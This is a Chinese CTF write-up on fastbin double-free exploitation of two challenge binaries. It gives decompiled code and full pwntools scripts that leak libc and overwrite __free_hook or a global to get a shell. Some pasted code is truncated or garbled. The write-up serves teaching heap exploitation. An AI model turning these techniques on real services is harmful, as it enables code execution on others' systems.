Double Free
依赖于fast bin是单向链表,并且由于当chunk被释放时,fast bin 为了防止相邻堆块合并,而导致其next_chunk的prev_inuse不会被清空
然后main_arena指向了最后应该被释放的chunk的prev_use
因此 Double Free能够成功利用主要有两部分的原因:
- fastbin的堆块被释放后next_chunk的prev_inuse位不会被清空
- fastbin在执行free的时候仅验证了main_arena直接指向的块,即链表指针头部的块。对于链表后面的块并没有进行验证
利用思路
所以当 fastbins 中的堆块存在 chunk1->chunk2->chunk1这样的情况时,
我们可以先malloc chunk1,然后往chunk1中写数据,因为写入的数据刚好是最先覆盖带掉fd字段据,所以我们能控制这个fd字段的值,假设把这个fd值覆盖为got表上的地址,
此时fast bin就变成了 chunk2->fd
当我们再次调用chunk1时实际上调用的是我们修改的地址
那我们就可以实现向got表中写入数据。
例题
[NewStarCTF 2023 公开赛道]Double
main
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
_isoc99_scanf("%d", &v3);
if ( v3 != 2 )
break;
del();
}
if ( v3 == 3 )
{
check();
exit(0);
}
if ( v3 == 1 )
add();
else
puts("Invalid choice");
}
}
add
unsigned __int64 add()
{
int v0; // ebx
unsigned __int64 v2; // [rsp+8h] [rbp-18h]
v2 = __readfsqword(0x28u);
puts("Input idx");
_isoc99_scanf("%d", &idx);
v0 = idx;
*(&chunks + v0) = malloc(0x28uLL);
puts("Input content");
read(0, *(&chunks + idx), 0x28uLL);
return __readfsqword(0x28u) ^ v2;
}
del
unsigned __int64 del()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("Input idx");
_isoc99_scanf("%d", &idx);
free(*(&chunks + idx));
return __readfsqword(0x28u) ^ v1;
}
发现只有free与del函数并没有show之类的函数 且free时同样,没有置空
check
unsigned __int64 check()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
if ( dword_602070 == 1638 )
{
puts("Congratulations!!");
system("/bin/sh");
}
else
{
puts("Try again!");
}
return __readfsqword(0x28u) ^ v1;
}
发现当check函数里面的0x602070=1638时执行excve拿到shell
但是我们要注意当我们要申请修改0x602070处的值时我们应该调用0x602060处的chunk
exp
import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
p = process('./pwn')
#io = remote('node5.anna.nssctf.cn',25619)
elf = ELF('./pwn')
#libc = ELF('./libc-2.27.so')
#libcc = cdll.LoadLibrary('./libc.so.6')
#libcc.srand(libcc.time(0))
def duan():
gdb.attach(p)
pause()
back = 0x000602060
def add(idx, msg):
p.sendlineafter(b">", b'1')
p.sendlineafter(b"Input idx\n", str(idx).encode())
p.sendafter(b"Input content", msg)
def free(idx):
p.sendlineafter(b">", b'2')
p.sendlineafter(b"Input idx\n", str(idx).encode())
add(1,b'aaaa')#0
add(2,b'aaaa')#1
free(1)
free(2)
free(1)
add(3,p64(back))
add(4,b'aaaa')
add(5,b'aaaa')
#duan()
add(6,p64(0x666))
p.sendlineafter(b">", b'3')
p.interactive()
ACTF_2019_message
版本Ubuntu18 libc-2.27.so
备注有一部分Ubuntu18是libc-2.27ubuntu1.5可能会无法运行
看一下ida
菜单函数不做过多解释了
add
unsigned __int64 sub_400A3F()
{
int i; // [rsp+8h] [rbp-28h]
int v2; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( dword_60204C <= 10 )
{
puts("Please input the length of message:");
read(0, buf, 8uLL);
v2 = atoi(buf);
if ( v2 <= 0 )
{
puts("Length is invalid!");
}
else
{
for ( i = 0; i <= 9; ++i )
{
if ( !*(_QWORD *)&dword_602060[4 * i + 2] )
{
dword_602060[4 * i] = v2;
*(_QWORD *)&dword_602060[4 * i + 2] = malloc(v2);
puts("Please input the message:");
read(0, *(void **)&dword_602060[4 * i + 2], v2);
++dword_60204C;
return __readfsqword(0x28u) ^ v4;
}
}
}
}
else
{
puts("Message is full!");
}
return __readfsqword(0x
show
unsigned __int64 show()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( dword_60204C <= 0 )
{
puts("No message in system");
}
else
{
puts("Please input index of message you want to display:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( dword_602060[4 * v1] && v1 <= 9 )
printf("The message: %s\n", *(const char **)&dword_602060[4 * v1 + 2]);
else
puts("Index is invalid!");
}
return __readfsqword(0x28u) ^ v3;
delete
unsigned __int64 sub_400B73()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( dword_60204C <= 0 )
{
puts("There is no message in system");
}
else
{
puts("Please input index of message you want to delete:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( v1 > 9 )
{
puts("Index is invalid!");
}
else
{
free(*(void **)&dword_602060[4 * v1 + 2]);
dword_602060[4 * v1] = 0;
--dword_60204C;c
}
}
return __readfsqword(0x28u) ^ v3;
}
发现free堆块时并没有将chunk置为0
此时我们可以运用uaf或者double free拿到shell
思路
运用show函数泄漏base地址
劫持free_hook为system函数
向chunk中填入b'/bin/sh\x00'
执行system(bin/sh)拿到flag
分析
add(0x80,b'aaaa') #0
add(0x420,b'bbbb')#1
add(0x80,b'/bin/sh\x00')#2
delete(1)
add(0x420,b'bbbbbbbb')#3
show(3)
base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))- 0x3EBCA0
注意malloc的chunk3一定要大于0x420使得chunk被释放后可以放入unsorted bin
此时fd与bk都指向main_arena+96
此时创建再次将此chunk申请出来就可以接收到基地址了
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-96-0x10-libc.symbols['__malloc_hook']
下一步劫持free hook
add(0x60,b'cccc')#4
add(0x60,b'aaaa')#5
delete(4)
delete(5) #不可以连续free两次同一个chunk
delete(4)
add(0x60,p64(free)) 将fd指针修改为free
add(0x60,b'aaaa') #申请chubk5
add(0x60,b'dddd') #第二次申请chunk4
add(0x60,p64(system)) 劫持 free_hook
delete(2) #调用free_hook
此时bin的结构
0x70 [ 3]: 0x11927b0 —▸ 0x1192820 ◂— 0x11927b0
free_hook函数会在函数调用free时运用
所以我们此时再次dele就会成功调用system(/bin/sh)
完整exp
import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
io = process('./pwn')
#io = remote('node5.anna.nssctf.cn',25619)
elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')
#libcc = cdll.LoadLibrary('./libc.so.6')
#libcc.srand(libcc.time(0))
def duan():
gdb.attach(io)
pause()
def add(size,message):
io.sendlineafter(b'choice: ' , b'1')
io.sendlineafter(b'message:\n' , str(size))
io.sendafter(b'message:\n' , message)
def delete(index):
io.sendlineafter(b'choice: ' , b'2')
io.sendlineafter(b'delete:\n' , str(index))
def edit(index,message):
io.sendlineafter(b'choice: ' , b'3')
io.sendlineafter(b'edit:\n' , str(index))
io.sendafter(b'message:\n' , message)
def show(index):
io.sendlineafter(b'choice: ' , b'4')
io.sendlineafter(b'display:\n' , str(index))
add(0x80,b'aaaa') #0
add(0x420,b'bbbb')#1
add(0x80,b'/bin/sh\x00')#2
delete(1)
add(0x420,b'bbbbbbbb')#3
show(3)
base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))- 0x3EBCA0
print(hex(base))
system = base + libc.sym['system']
free = base + libc.sym['__free_hook']
print(system)
add(0x60,b'cccc')#4
add(0x60,b'aaaa')#5
delete(4)
delete(5)
delete(4)
#duan()
add(0x60,p64(free))
add(0x60,b'aaaa')
add(0x60,b'dddd')
add(0x60,p64(system))
delete(2)
io.interactive()
也可以使用one_gadget
过程大致一样
exp
import requests
from pwn import *
from requests.auth import *
import ctypes
from ctypes import *
context.log_level='debug'
context(os='linux', arch='amd64')
io = process('./pwn')
#io = remote('node5.anna.nssctf.cn',25619)
elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')
#libcc = cdll.LoadLibrary('./libc.so.6')
#libcc.srand(libcc.time(0))
def duan():
gdb.attach(io)
pause()
def add(size,message):
io.sendlineafter(b'choice: ' , b'1')
io.sendlineafter(b'message:\n' , str(size))
io.sendafter(b'message:\n' , message)
def delete(index):
io.sendlineafter(b'choice: ' , b'2')
io.sendlineafter(b'delete:\n' , str(index))
def edit(index,message):
io.sendlineafter(b'choice: ' , b'3')
io.sendlineafter(b'edit:\n' , str(index))
io.sendafter(b'message:\n' , message)
def show(index):
io.sendlineafter(b'choice: ' , b'4')
io.sendlineafter(b'display:\n' , str(index))
og = [0x4f2be,0x4f2c5,0x4f322,0x10a38c]
add(0x410,b'aaaaaaaa')
add(0x10,b'aaaaaaaa')
add(0x10,b'bbbbbbbb')
delete(0)
add(0x410,b'aaaaaaaa')
show(3)
libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-96-0x10-libc.symbols['__malloc_hook']
shell = libc_base+og[2]
delete(1)
delete(1)
add(0x10,p64(libc_base+libc.symbols['__free_hook']))
add(0x10,b'aaaaaaaa')
add(0x10,p64(shell))
delete(3)
io.interactive()
- 附件.zip 下载